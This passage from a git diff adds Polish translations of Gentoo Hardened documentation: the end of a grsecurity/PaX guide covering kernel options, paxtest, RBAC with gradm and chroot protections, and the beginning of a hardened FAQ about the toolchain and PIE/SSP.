+# CONFIG_GRKERNSEC_IO is not set</comment>
+CONFIG_GRKERNSEC_PROC_MEMMAP=y
+CONFIG_GRKERNSEC_HIDESYM=y
+</pre>
+
+<p>
+Na systemach innych niż x86 można zauważyć, że nie istnieje flaga
+CONFIG_GRKERNSEC_PAX_NOEXEC. Zamiast niej należy wybrać
+CONFIG_GRKERNSEC_PAX_PAGEEXEC, gdyż poprzednia opcja stanowi obejście
+implementacyjne braku bita non-exec.
+</p>
+
+</body>
+</section>
+<section>
+<title>Kontrola PaX</title>
+<body>
+
+<p>
+Nie wszystkie linuksowe aplikacje działają przy ograniczeniach wprowadzonych
+przez PaX. Wśród nich znajdują się xorg-x11, java, mplayer, xmms i inne. Jeśli
+zamierzamy z nich korzystać, to możemy zmienić poziom zabezpieczeń dla tych
+aplikacji wykorzystując <c>chpax</c> oraz <c>paxctl</c>.
+</p>
+
+<pre caption="Instalacja chpax i narzędzi paxctl">
+# <i>emerge app-admin/chpax</i>
+# <i>emerge app-admin/paxctl</i>
+</pre>
+
+<p>
+Z chpax dostarczany jest skrypt startowy, który obsługuje większość znanych
+ustawień aplikacji:
+</p>
+
+<pre caption="Dodawanie skryptu startowego chpax do standardowego poziomu uruchamiania">
+# <i>rc-update add chpax default</i>
+</pre>
+
+<p>
+<c>pax-utils</c> jest małym zestawem narzędziowym, który zawiera aplikacje
+użyteczne do zarządzania serwerem, na którym jest PaX.
+</p>
+
+<pre caption="Instalacja pakietu pax-utils">
+# <i>emerge pax-utils</i>
+</pre>
+
+<p>
+Wśród interesujących narzędzi znajdują się <c>scanelf</c> oraz <c>pspax</c>:
+</p>
+
+<ul>
+  <li>
+    <c>scanelf</c> pozwala na przejrzenie katalogów z bibliotekami i plikami
+    wykonywalnymi oraz na wylistowanie ustawień i typów ELF, które wchodzą w
+    skład idealnie działającej konfiguracji pax/grsec
+  </li>
+  <li>
+    <c>pspax</c> pozwala na wyświetlenie PaX-owych flag/capabilities/xattr, tak
+    jak są widziane przez jądro
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Weryfikacja ustawień PaX</title>
+<body>
+
+<p>
+Peter Busser napisał zestaw testów regresyjnych zwanych <c>paxtest</c> Dzięki
+temu narzędziu możliwe jest zidentyfikowanie potencjalnych punktów ataku i
+wygenerowanie odpowiedniej informacji. Po uruchomieniu tego programu, w bieżącym
+katalogu zostanie wygenerowany plik z logami <path>paxtest.log</path>.
+</p>
+
+<pre caption="Instalacja i uruchamianie programu paxtest">
+# <i>emerge paxtest</i>
+
+# <i>paxtest</i>
+Executable anonymous mapping             : Killed
+Executable bss                           : Killed
+Executable data                          : Killed
+Executable heap                          : Killed
+Executable stack                         : Killed
+Executable anonymous mapping (mprotect)  : Killed
+Executable bss (mprotect)                : Killed
+Executable data (mprotect)               : Killed
+Executable heap (mprotect)               : Killed
+Executable stack (mprotect)              : Killed
+Executable shared library bss (mprotect) : Killed
+Executable shared library data (mprotect): Killed
+Writable text segments                   : Killed
+Anonymous mapping randomisation test     : 16 bits (guessed)
+Heap randomisation test (ET_EXEC)        : 13 bits (guessed)
+Heap randomisation test (ET_DYN)         : 25 bits (guessed)
+Main executable randomisation (ET_EXEC)  : 16 bits (guessed)
+Main executable randomisation (ET_DYN)   : 17 bits (guessed)
+Shared library randomisation test        : 16 bits (guessed)
+Stack randomisation test (SEGMEXEC)      : 23 bits (guessed)
+Stack randomisation test (PAGEEXEC)      : No randomisation
+Return to function (strcpy)              : Vulnerable
+Return to function (memcpy)              : Vulnerable
+Return to function (strcpy, RANDEXEC)    : Killed
+Return to function (memcpy, RANDEXEC)    : Killed
+Executable shared library bss            : Killed
+Executable shared library data           : Killed
+</pre>
+
+<p>
+W powyższym przykładzie z testów, możemy zauważyć że:
+</p>
+
+<ul>
+  <li>
+    strcpy i memcpy zaznaczone zostały jako <e>Vulnerable</e> (podatne na atak).
+    Jest to spodziewane i normalne zachowanie, pokazujące potrzebę stosowania
+    technologii takich jak <uri link="/proj/pl/hardened/propolice.xml">ProPolice/SSP</uri>
+  </li>
+  <li>
+    Brakuje losowości dla PAGEEXEC. Jest to normalne, gdyż zalecana przez nas
+    konfiguracja jądra x86 nie zawiera ustawień dla PAGEEXEC. Jednakże na
+    architekturach, które wspierają prawdziwy bit NX (non-executable) (a
+    większość tak robi, łącznie z x86_64), PAGEEXEC jest jedyną metodą dostępną
+    NOEXEC, która nie generuje narzutu na wydajność.
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>RBAC</title>
+<section>
+<title>Role Based Access Control</title>
+<body>
+
+<p>
+Istnieją dwa podstawowe typy mechanizmów kontroli dostępu używane do
+zapobiegania nieautoryzowanemu dostępowi do plików (w ogólności do informacji):
+DAC (Discreationary Access Control - swobodna kontrola dostępu) oraz MAC
+(Mandatory Access Control - obowiązkowa kontrola dostępu). Linux standardowo
+korzysta z mechanizmu DAC: twórca pliku może zdefiniować prawa dostępu. W
+przypadku MAC wszyscy muszą się stosować do zasad wprowadzonych przez
+administratora.
+</p>
+
+<p>
+Wsparcie grsecurity dla implementacji MAC zwane jest Role Based Access Control
+(kontrola dostępu oparta na rolach). RBAC kojarzy wszystkich użytkowników z
+<e>rolami</e>. Każda z ról definiuje operacje jakie mogą być wykonywane na
+określonych obiektach. Posiadając dobrze napisany zbiór ról i operacji jesteśmy
+pewni, że użytkownicy będą mogli wykonywać tylko zadania do których mają prawo.
+Domyślne ustawienie "deny-all" zapewnia, że użytkownicy nie będą mogli wykonać
+akcji, o których nie pomyśleliśmy.
+</p>
+
+</body>
+</section>
+<section>
+<title>Konfiguracja jądra</title>
+<body>
+
+<p>
+Zalecane ustawienia jądra dla RBAC to:
+</p>
+
+<pre caption="Zalecana konfiguracja jądra dla RBAC">
+<comment>#
+# Role Based Access Control Options
+#</comment>
+CONFIG_GRKERNSEC_ACL_HIDEKERN=y
+CONFIG_GRKERNSEC_ACL_MAXTRIES=3
+CONFIG_GRKERNSEC_ACL_TIMEOUT=30
+</pre>
+
+</body>
+</section>
+<section>
+<title>Praca z programem gradm</title>
+<body>
+
+<p>
+<c>gradm</c> jest narzędziem pozwalającym na zarządzanie i utrzymywanie
+polityki w naszym systemie. Można je wykorzystać do włączania i wyłączania
+systemu RBAC, przeładowania ról RBAC, zmiany ról, ustawiania hasła dla trybu
+administracyjnego, itp.
+</p>
+
+<p>
+Podczas instalacji programu <c>gradm</c> w pliku <path>/etc/grsec/policy</path>
+zostanie zainstalowana standardowa polityka:
+</p>
+
+<pre caption="Instalacja gradm">
+# <i>emerge gradm</i>
+</pre>
+
+<p>
+Standardowo polityki RBAC nie są aktywowane. Decyzję o tym czy system powinien
+egzekwować politykę RBAC, powinien podjąć administrator a nie Gentoo. Przed
+włączeniem systemu RBAC należy ustawić hasło dla administratora.
+</p>
+
+<pre caption="Aktywacja systemu RBAC">
+# <i>gradm -P admin</i>
+Setting up grsecurity RBAC password
+Password: <comment>(Dobrze wybrane hasło)</comment>
+Re-enter Password: <comment>(Ponownie to samo hasło)</comment>
+Password written in /etc/grsec/pw
+# <i>gradm -E</i>
+</pre>
+
+<p>
+Do wyłaczenie systemu RBAC wykorzystujemy polecenie <c>gradm -D</c>. Jeśli nie
+możemy go wykonać, to wcześniej musimy przełączyć się do roli administratora:
+</p>
+
+<pre caption="Wyłączanie systemu RBAC">
+# <i>gradm -a admin</i>
+Password: <comment>(Wpisujemy hasło administratora)</comment>
+# <i>gradm -D</i>
+</pre>
+
+<p>
+Jeśli chcemy zakończyć pracę w roli administratora, wykonujemy <c>gradm -u
+admin</c>:
+</p>
+
+<pre caption="Porzucanie roli administratora">
+# <i>gradm -u admin</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Generowanie polityki</title>
+<body>
+
+<p>
+System RBAC posiada użyteczną funkcjonalność zwaną "trybem uczenia". Ten tryb
+pozwala na wygenerowanie dla naszego systemu, orientacyjnej polityki z
+najmniejszymi uprawnienaimi. Pozwala to na zaoszczędzenie czasu i pieniędzy,
+dzięki możliwości szybkiego wdrożenia wielu bezpiecznych serwerów.
+</p>
+
+<p>
+Tryb uczenia włączamy przez <c>gradm</c>:
+</p>
+
+<pre caption="Aktywacja trybu uczenia RBAC">
+# <i>gradm -F -L /etc/grsec/learning.log</i>
+</pre>
+
+<p>
+Następnie wykonujemy czynności jak podczas normalnej pracy. Należy unikać
+wywoływania rsync, uruchamiania locate i innych akcji, które generują dużo
+operacji wejścia/wyjścia, gdyż może to znacznie zwolnić czas przetwarzania.
+</p>
+
+<p>
+Kiedy jesteśmy przekonani, że korzystaliśmy z systemu wystarczająco długo by
+otrzymać dobrą politykę, pozwalamy by <c>gradm</c> przetworzył dane i
+zaproponował role w <path>/etc/grsec/learning.roles</path>:
+</p>
+
+<pre caption="Przetwarzanie logów z trybu nauki">
+# <i>gradm -F -L /etc/grsec/learning.log -O /etc/grsec/learning.roles</i>
+</pre>
+
+<p>
+Dokonujemy audytu <path>/etc/grsec/learning.roles</path> i zapisujemy jako
+<path>/etc/grsec/policy</path> (z uprawnieniami 0600), gdy skończymy sprawdzać.
+</p>
+
+<pre caption="Zapisywanie polityk">
+# <i>mv /etc/grsec/learning.roles /etc/grsec/policy</i>
+# <i>chmod 0600 /etc/grsec/policy</i>
+</pre>
+
+<p>
+Mamy teraz możliwość włączenia systemu RBAC z nowo nauczoną polityką.
+</p>
+
+</body>
+</section>
+<section>
+<title>Modyfikacja polityki</title>
+<body>
+
+<p>
+Interesującym aspektem grsecurity2 jest <e>wsparcie operacji na zbiorach</e> dla
+pliku konfiguracyjnego. Obecnie wspierane są sumowania, przecięcia i różnice
+zbiorów (w tym przypadku obiektów).
+</p>
+
+<pre caption="Przykład zbiorów">
+define objset1 {
+/root/blah rw
+/root/blah2 r
+/root/blah3 x
+}
+
+define somename2 {
+/root/test1 rw
+/root/blah2 rw
+/root/test3 h
+}
+</pre>
+
+<p>
+Poniżej znajduje się przykład użycia oraz wynikowe obiekty, które zostaną dodane
+do naszego podmiotu ([ang.] subject).
+</p>
+
+<pre caption="Przykład uzycia &amp;">
+subject /somebinary o
+$objset1 &amp; $somename2
+</pre>
+
+<p>
+Powyższe rozwinie się do:
+</p>
+
+<pre caption="Wynikowe ustawienia podmiotu">
+subject /somebinary o
+/root/blah2 r
+</pre>
+
+<p>
+Jest to efekt działania operatora &amp;, który bierze obydwa zbiory i zwraca
+pliki istniejący w obydwu zbiorach oraz uprawnienia dla tych plików, które
+istnieją w obydwu zbiorach.
+</p>
+
+<pre caption="Przykład użycia |">
+subject /somebinary o
+$objset1 | $somename2
+</pre>
+
+<p>
+Powyższe rozwinie się do:
+</p>
+
+<pre caption="Wynikowe ustawienia podmiotu">
+subject /somebinary o
+/root/blah rw
+/root/blah2 rw
+/root/blah3 x
+/root/test1 rw
+/root/test3 h
+</pre>
+
+<p>
+Jest to efekt działania operatora |, który bierze obydwa zbiory i zwraca pliki
+istniejące w którymś ze zbiorów. Jeśli plik istnieje w obydwu, to także jest
+zwracany, a tryb dostępu zawiera flagi istniejące w którymś ze zbiorów.
+</p>
+
+<pre caption="Przykład użycia -">
+subject /somebinary o
+$objset1 - $somename2
+</pre>
+
+<p>
+Przykład rozwinie się do:
+</p>
+
+<pre caption="Wynikowe ustawienia podmiotu">
+subject /somebinary o
+/root/blah rw
+/root/blah2 h
+/root/blah3 x
+</pre>
+
+<p>
+Jest to efekt działania operatora -, który bierze obydwa zbiory i zwraca pliki
+istniejące w pierwszym zbiorze, ale nie istniejące w drugim. Jeśli plik istnieje
+w pierwszym zbiorze, a w drugim znajdzie się odpowiadający mu wpis (te same
+nazwy plików lub w drugim zbiorze istnieje katalog macierzysty dla tego pliku),
+to plik jest zwracany, a uprawnienie z drugiego zbioru jest usuwane z pierwszego
+zbioru i plik jest zwracany.
+</p>
+
+<p>
+W pewnym nieokreślonym pseudo-języku można by to zapisać jako:
+</p>
+
+<pre caption="Wyjaśnienie w pseudo-języku">
+if ( (<i>$objset1</i> contained <i>/tmp/blah rw</i>) and
+     (<i>$objset2</i> contained <i>/tmp/blah r</i>) )
+then
+  <i>$objset1 - $objset2</i> would contain <i>/tmp/blah w</i>
+
+if ( (<i>$objset1</i> contained <i>/tmp/blah rw</i>) and
+     (<i>$objset2</i> contained <i>/ rwx</i>) )
+then
+  <i>$objset1 - $objset2</i> would contain <i>/tmp/blah h</i>
+</pre>
+
+<p>
+Kolejność stosowania operatorów (od najwyższego do najniższego): "-, &amp; |".
+</p>
+
+<p>
+Jeśli nie chcemy trudzić się zapamiętaniem kolejności działań, to mamy do
+dyspozycji wsparcie dla nawiasowania. Dzięki temu możemy pisać w następujący
+sposób:
+</p>
+
+<pre caption="Przykład nawiasowania">
+(($set1 - $set2) | $set3) &amp; $set4
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Ochrona systemu plików</title>
+<section>
+<title>Zwalaczanie nadużyć chroot i systemu plików</title>
+<body>
+
+<p>
+Grsecurity2 zawiera wiele poprawek, które uniemożliwiają użytkownikom uzyskanie
+nadmiernej wiedzy o systemie. W ich skład wchodzą ograniczenia na wykorzystanie
+<path>/proc</path>, chrootowania, linkowania, itp.
+</p>
+
+</body>
+</section>
+<section>
+<title>Konfiguracja jądra</title>
+<body>
+
+<p>
+Do ochrony systemu plików zalecamy następujące ustawienia grsecurity w
+konfiguracji jądra:
+</p>
+
+<pre caption="Aktywacja ochrony systemu plików">
+<comment>#
+# Filesystem Protections
+#</comment>
+CONFIG_GRKERNSEC_PROC=y
+<comment># CONFIG_GRKERNSEC_PROC_USER is not set</comment>
+CONFIG_GRKERNSEC_PROC_USERGROUP=y
+CONFIG_GRKERNSEC_PROC_GID=10
+CONFIG_GRKERNSEC_PROC_ADD=y
+CONFIG_GRKERNSEC_LINK=y
+CONFIG_GRKERNSEC_FIFO=y
+CONFIG_GRKERNSEC_CHROOT=y
+CONFIG_GRKERNSEC_CHROOT_MOUNT=y
+CONFIG_GRKERNSEC_CHROOT_DOUBLE=y
+CONFIG_GRKERNSEC_CHROOT_PIVOT=y
+CONFIG_GRKERNSEC_CHROOT_CHDIR=y
+CONFIG_GRKERNSEC_CHROOT_CHMOD=y
+CONFIG_GRKERNSEC_CHROOT_FCHDIR=y
+CONFIG_GRKERNSEC_CHROOT_MKNOD=y
+CONFIG_GRKERNSEC_CHROOT_SHMAT=y
+CONFIG_GRKERNSEC_CHROOT_UNIX=y
+CONFIG_GRKERNSEC_CHROOT_FINDTASK=y
+CONFIG_GRKERNSEC_CHROOT_NICE=y
+CONFIG_GRKERNSEC_CHROOT_SYSCTL=y
+CONFIG_GRKERNSEC_CHROOT_CAPS=y
+</pre>
+
+</body>
+</section>
+<section>
+<title>Wyzwalanie mechanizmów bezpieczeństwa</title>
+<body>
+
+<p>
+Jeśli korzystamy z jądra skompilowanego z powyższą (lub podobną) konfiguracją,
+to będziemy mieli możliwość włączania/wyłączania wielu ustawień przez system
+plików <path>/proc</path> lub przez wywołania <c>sysctl</c>.
+</p>
+
+<p>
+Poniższy przykład pokazuje fragment typowego pliku
+<path>/etc/sysctl.conf</path>:
+</p>
+
+<pre caption="Przykładowe ustawienia w /etc/sysctl.conf">
+kernel.grsecurity.chroot_deny_sysctl = 1
+kernel.grsecurity.chroot_caps = 1
+kernel.grsecurity.chroot_execlog = 0
+kernel.grsecurity.chroot_restrict_nice = 1
+kernel.grsecurity.chroot_deny_mknod = 1
+kernel.grsecurity.chroot_deny_chmod = 1
+kernel.grsecurity.chroot_enforce_chdir = 1
+kernel.grsecurity.chroot_deny_pivot = 1
+kernel.grsecurity.chroot_deny_chroot = 1
+kernel.grsecurity.chroot_deny_fchdir = 1
+kernel.grsecurity.chroot_deny_mount = 1
+kernel.grsecurity.chroot_deny_unix = 1
+kernel.grsecurity.chroot_deny_shmat = 1
+</pre>
+
+<p>
+Jeśli tylko chcemy, to możemy włączać bądź wyłączać ustawienia. W tym celu
+korzystamy z komendy <c>sysctl</c>:
+</p>
+
+<pre caption="Włączanie ustawień sysctl">
+<comment>(Włączanie opcji exec_logging)</comment>
+# <i>sysctl -w kernel.grsecurity.exec_logging = 1</i>
+<comment>(Wyłączanie opcji exec_logging)</comment>
+# <i>sysctl -w kernel.grsecurity.exec_logging = 0</i>
+</pre>
+
+<p>
+Istnieje bardzo ważne ustawienie sysctl, wchodzące w skład grsecurity. Chodzi o
+<c>kernel.grsecurity.grsec_lock</c>. Kiedy zostanie włączone, to nie będziemy w
+stanie zmieniać innych ustawień.
+</p>
+
+<pre caption="Blokwanie interfejsu sysctl">
+# <i>sysctl -w kernel.grsecurity.grsec_lock = 1</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Audyt jądra</title>
+<section>
+<title>Rozszerzanie możliwości logowania</title>
+<body>
+
+<p>
+Grsecurity dostarcza nowych funkcjonalności, wchodzących w zakres logowania
+jądra. Przy włączonej opcji <e>audytu jądra</e>, kernel informuje nas o tym, że
+aplikacje uruchamiają się, urządzenia są montowane itp.
+</p>
+
+</body>
+</section>
+<section>
+<title>Różne ustawienia dla audytu jądra</title>
+<body>
+
+<p>
+Do włączenia ustawień audytu jądra można użyć poniższych opcji konfiguracyjnych
+kernela:
+</p>
+
+<pre caption="Włączanie audytu jądra">
+<comment>#
+# Kernel Auditing
+#
+# CONFIG_GRKERNSEC_AUDIT_GROUP is not set</comment>
+CONFIG_GRKERNSEC_EXECLOG=y
+CONFIG_GRKERNSEC_RESLOG=y
+CONFIG_GRKERNSEC_CHROOT_EXECLOG=y
+CONFIG_GRKERNSEC_AUDIT_CHDIR=y
+CONFIG_GRKERNSEC_AUDIT_MOUNT=y
+CONFIG_GRKERNSEC_AUDIT_IPC=y
+CONFIG_GRKERNSEC_SIGNAL=y
+CONFIG_GRKERNSEC_FORKFAIL=y
+CONFIG_GRKERNSEC_TIME=y
+CONFIG_GRKERNSEC_PROC_IPADDR=y
+CONFIG_GRKERNSEC_AUDIT_TEXTREL=y
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Ograniczenie operacji</title>
+<section>
+<title>Ochrona plików wykonywalnych</title>
+<body>
+
+<p>
+Grsecurity pozwala na ograniczenie praw dla plików wykonywalnych. Ze względu na
+to, że większość exploitów wykorzystuje uruchomione procesy takie
+zabezpieczenie pomaga zachować system w pełnej sprawności.
+</p>
+
+</body>
+</section>
+<section>
+<title>Ochrona sieci</title>
+<body>
+
+<p>
+Linuksowy stos TCP/IP jest podatny na ataki oparte na prognozach. W celu
+przeciwdziałania takim atakom, grsecurity dostarcza poprawek wprowadzających
+element losowości. Poza tym, możliwe jest włączenie ograniczeń na gniazda dla
+pewnych grup. Ograniczenia te nie pozwolą na dostęp sieciowy.
+</p>
+
+</body>
+</section>
+<section>
+<title>Ustawienia jądra</title>
+<body>
+
+<p>
+Następujące ustawienia jądra włączają różne zabezpieczenia dla sieci oraz plików
+wykonywalnych:
+</p>
+
+<pre caption="Ustawienia jądra">
+<comment>#
+# Executable Protections
+#</comment>
+CONFIG_GRKERNSEC_EXECVE=y
+CONFIG_GRKERNSEC_DMESG=y
+CONFIG_GRKERNSEC_RANDPID=y
+CONFIG_GRKERNSEC_TPE=y
+CONFIG_GRKERNSEC_TPE_ALL=y
+CONFIG_GRKERNSEC_TPE_GID=100
+
+<comment>#
+# Network Protections
+#</comment>
+CONFIG_GRKERNSEC_RANDNET=y
+CONFIG_GRKERNSEC_RANDISN=y
+CONFIG_GRKERNSEC_RANDID=y
+CONFIG_GRKERNSEC_RANDSRC=y
+CONFIG_GRKERNSEC_RANDRPC=y
+<comment># CONFIG_GRKERNSEC_SOCKET is not set</comment>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Toolchain w wersji Hardened</title>
+<section>
+<body>
+
+<p>
+Chociaż leży to poza zakresem tego dokumentu, to wspominamy o wykorzystaniu
+toolchaina w wersji hardened, który w przestrzeni użytkownika uzupełnia model
+grsec/PAX. Można z tego skorzystać w następujący sposób:
+</p>
+
+<pre caption="Użycie toolchaina w wersji hardened">
+# <i>cd /etc</i>
+# <i>rm make.profile</i>
+# <i>ln -s ../usr/portage/profiles/hardened/x86 make.profile</i>
+# <i>emerge -e world</i>
+</pre>
+
+<p>
+Jeśli nie chcemy korzystać z tego profilu, to dodajemy do zmiennej USE w
+<path>/etc/make.conf</path> następujące flagi USE: <c>hardened pic pie</c>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Zasoby</title>
+<section>
+<body>
+
+<ul>
+  <li><uri link="http://grsecurity.net/">Strona domowa Grsecurity</uri></li>
+  <li><uri link="http://forums.grsecurity.net/">Forum Grsecurity</uri></li>
+  <li>
+    <uri link="http://grsecurity.net/researchpaper.pdf">Poprawienie wydajności
+    i rozdrobnienia w Role-Based Access Control Systems</uri>
+  </li>
+  <li>
+    <uri link="/proj/pl/hardened/capabilities.xml"> Nazwy i opisy
+    możliwości</uri>
+  </li>
+  <li>
+    <uri link="http://grsecurity.net/quickstart.pdf">Szybkie wprowadzenie do
+    Grescurity</uri> (Nowość .pdf)
+  </li>
+  <li>
+    <uri link="/proj/pl/hardened/pax-quickstart.xml">Szybkie wprowadzenie do
+    używania PaX w Gentoo</uri> (Nowość)
+  </li>
+  <li>
+    <uri link="/proj/en/hardened/grsecurity.xml">Grsecurity i system MAC w
+    Gentoo 1.9.x</uri> (Stare)
+  </li>
+  <li>
+    <uri link="http://grsecurity.net/PaX-presentation_files/frame.htm">PaX:
+    Gwarantowany koniec wykonywania dowolnego kodu</uri>
+  </li>
+  <li>
+    <uri link="http://pax.grsecurity.net">Strona domowa i dokumentacja PaX</uri>
+  </li>
+  <li><uri link="/proj/pl/infrastructure/tenshi/">Tenshi</uri></li>
+</ul>
+
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/pl/hardened/hardenedfaq.xml b/xml/htdocs/proj/pl/hardened/hardenedfaq.xml
new file mode 100644
index 00000000..3a4feafd
--- /dev/null
+++ b/xml/htdocs/proj/pl/hardened/hardenedfaq.xml
@@ -0,0 +1,664 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/pl/hardened/hardenedfaq.xml,v 1.6 2007/05/10 10:51:56 rane Exp $ -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/pl/hardened/hardenedfaq.xml" lang="pl">
+<title>Gentoo Hardened - często zadawane pytania</title>
+
+<author title="Autor">
+  <mail link="tocharian@gentoo.org">Adam Mondl</mail>
+</author>
+<author title="Redaktor">
+  <mail link="solar@gentoo.org">solar</mail>
+</author>
+<author title="Redaktor">
+  <mail link="kang@gentoo.org">Guillaume Destuynder</mail>
+</author>
+<author title="Redaktor">
+  <mail link="pageexec@freemail.hu">The PaX Team</mail>
+</author>
+<author title="Tłumaczenie">
+  <mail link="yarel@o2.pl">Paweł Kwiatkowski</mail>
+</author>
+<author title="Tłumaczenie">
+  <mail link="stawrul@gmail.pl">Waldemar Korłub</mail>
+</author>
+
+<abstract>
+Ten dokument to zbiór pytań i odpowiedzi jakie często pojawiają się na kanale
+IRC #gentoo-hardened oraz na liście mailingowej gentoo-hardened.
+</abstract>
+
+<version>1.9</version>
+<date>2006-02-18</date>
+
+<chapter>
+<title>Pytania</title>
+<section>
+<title>Ogólne</title>
+<body>
+
+<ul>
+  <li>
+    <uri link="#toolchain">Co to jest "toolchain"?</uri>
+  </li>
+  <li>
+    <uri link="#whichisbetter">Z czego korzystać: grsecurity, RSBAC czy
+    SELinux?</uri>
+  </li>
+  <li>
+    <uri link="#aclall">Czy jest możliwe jednoczesne korzystanie z grsecurity,
+    RSBAC, SELinux oraz PaX?</uri>
+  </li>
+  <li>
+    <uri link="#hardenedcflags">Czy należy dodać jakieś flagi do
+    LDFLAGS/CFLAGS, aby włączyć kompilację z PIE/SSP?</uri>
+  </li>
+  <li>
+    <uri link="#hardenedcflagsoff">Jak wyłączyć kompilację z PIE/SSP?</uri>
+  </li>
+  <li>
+    <uri link="#fsexec">Proces budowy kernela zostaje przerwany i pojawia się
+    błąd "error: structure has no member named `curr_ip'", jak to naprawić?
+    </uri>
+  </li>
+  <li>
+    <uri link="#hardenedproject">Dopiero poznaję Gentoo Hardened. Czy muszę
+    zainstalować wszystko co zostało wymienione na stronie projektu, by mieć
+    Gentoo w wersji hardened?</uri>
+  </li>
+  <li>
+    <uri link="#Othreessp">Dlaczego programy nie działają jeśli korzysta się z
+    CFLAGS="-O3" i gcc hardened?</uri>
+  </li>
+  <li>
+    <uri link="#cascadebootstrap">Co się stało z bootstrap-cascade.sh?</uri>
+  </li>
+  <li>
+    <uri link="#hardenedprofile">Jak przełączyć się na profil hardened?</uri>
+  </li>
+  <li>
+    <uri link="#hardeneddebug">W jaki sposób debugować z gdb?</uri>
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>PaX</title>
+<body>
+
+<ul>
+  <li>
+    <uri link="#paxinformation">Jaki jest adres strony domowej PaX?</uri>
+  </li>
+  <li>
+    <uri link="#paxgentoodoc">Czy istnieje jakaś dokumentacja Gentoo dotycząca
+    PaX?</uri>
+  </li>
+  <li>
+    <uri link="#paxnoelf">Bez przerwy pojawia się komunikat: "error while
+    loading shared libraries: cannot make segment writable for relocation:
+    Permission denied". Co to oznacza?</uri>
+  </li>
+  <li>
+    <uri link="#paxjava">Dlaczego Java nie działa z PaX?</uri>
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>grsecurity</title>
+<body>
+
+<ul>
+  <li>
+    <uri link="#grsecinformation">Jaki jest adres strony domowej
+    grsecurity?</uri>
+  </li>
+  <li>
+    <uri link="#grsecgentoodoc">Czy istnieje jakaś dokumentacja Gentoo dotycząca
+    grsecurity?</uri>
+  </li>
+  <li>
+    <uri link="#grsec2681">Czy można używać grsecurity z kernelami 2.6.8,
+    2.6.8.1 albo 2.6.9?</uri>
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>RSBAC</title>
+<body>
+
+<ul>
+  <li>
+    <uri link="#rsbacinformation">Jaki jest adres strony domowej RSBAC?</uri>
+  </li>
+  <li>
+    <uri link="#rsbacgentoodoc">Czy istnieje jakaś dokumentacja Gentoo
+  dotycząca RSBAC?</uri>
+  </li>
+  <li>
+    <uri link="#rsbacinitrd">Jak można korzystać ze startowego dysku RAM, gdy
+    posiadamy kernel z włączonym RSBAC?</uri>
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>SELinux</title>
+<body>
+
+<ul>
+  <li>
+    <uri link="#selinuxfaq">Gdzie można znaleźć listę odpowiedzi na często
+    zadawane pytania dotyczące SELinux?</uri>
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Pytania ogólne</title>
+<section id="toolchain">
+<title>Co to jest "toolchain"?</title>
+<body>
+
+<p>
+Termin "toolchain" odnosi się do zbioru pakietów oprogramowania, który jest
+wykorzystywany do rozwijania i budowania aplikacji na konkretną architekturę
+sprzętową. "Toolchain" o którym można usłyszeć na kanale IRC #gentoo-hardened,
+składa się z GNU Compiler Collection (GCC), pakietu binutils oraz biblioteki GNU
+C (glibc).
+</p>
+
+</body>
+</section>
+<section id="whichisbetter">
+<title>Z czego korzystać: grsecurity, RSBAC czy SELinux?</title>
+<body>
+
+<p>
+Odpowiedź na to pytanie jest wysoce subiektywna. Projekt Gentoo Hardened
+wskazuje różne rozwiązania, natomiast wybór należy do użytkowników. Decyzja
+wymaga analizy, którą - mamy nadzieję - ułatwi niniejsza dokumentacja. Jeśli
+jednak rodzą się konkretne pytania dotyczące modelu bezpieczeństwa wprowadzanego
+przez każde z rozwiązań, to zachęcamy do skorzystania z listy mailingowej oraz
+do zadawania pytań odpowiednim deweloperom.
+</p>
+
+</body>
+</section>
+<section id="aclall">
+<title>Czy jest możliwe jednoczesne korzystanie z grsecurity, SELinux oraz
+PaX?</title>
+<body>
+
+<p>
+Tak, taka kombinacja jest możliwa gdyż PaX pracuje zarówno z grsecurity, RSBAC
+jak i SELinux. Jedyny konflikt jaki może mieć miejsce ma swoje źródło w tym, że
+możemy korzystać tylko z jednego systemu kontroli dostępu.
+</p>
+
+</body>
+</section>
+<section id="hardenedcflags">
+<title>
+Czy należy dodać jakieś flagi do LDFLAGS/CFLAGS, aby włączyć kompilację z
+PIE/SSP?
+</title>
+<body>
+
+<p>
+Nie. Obecny "toolchain" automatycznie dostarcza odpowiednik <c>CFLAGS="-fPIE
+-fstack-protector-all" LDFLAGS="-Wl,-z,now -Wl,-z,relro"</c>, poprzez pliki
+specyfikacji GCC (ang. specfile). Jest to lepsze rozwiązanie niż flagi.  W
+przypadku, gdy korzystamy ze starszej wersji hardened-gcc musimy dodać
+<c>USE="hardened pic"</c> do pliku <path>/etc/make.conf</path>, a następnie
+wykonać aktualizację przy użyciu poleceń:
+</p>
+
+<pre caption="Instalacja toolchain w wersji hardened">
+# <i>emerge --oneshot binutils gcc virtual/libc</i>
+# <i>emerge -e world</i>
+</pre>
+
+<note>
+Gentoo stosuje patche do GCC, które umożliwiają przekazanie pliku specyfikacji
+poprzez zmienną środowiskową. Obecnie w Gentoo instalowanych jest kilka zestawów
+plików specyfiakcji, co pozwala użytkownikom obsługiwanych architektur łatwo
+włączać i wyłączać funkcjonalności toolchain. Użytkownicy końcowi mogą uzyskać
+dostęp do plików specyfikacji wykorzystując narzędzie gcc-config.
+</note>
+
+</body>
+</section>
+<section id="hardenedcflagsoff">
+<title>Jak wyłączyć kompilację z PIE/SSP?</title>
+<body>
+
+<p>
+Możemy tego dokonać używając programu <c>gcc-config</c>:
+</p>
+
+<pre caption="Przykładowy wynik polecenia gcc-config -l">
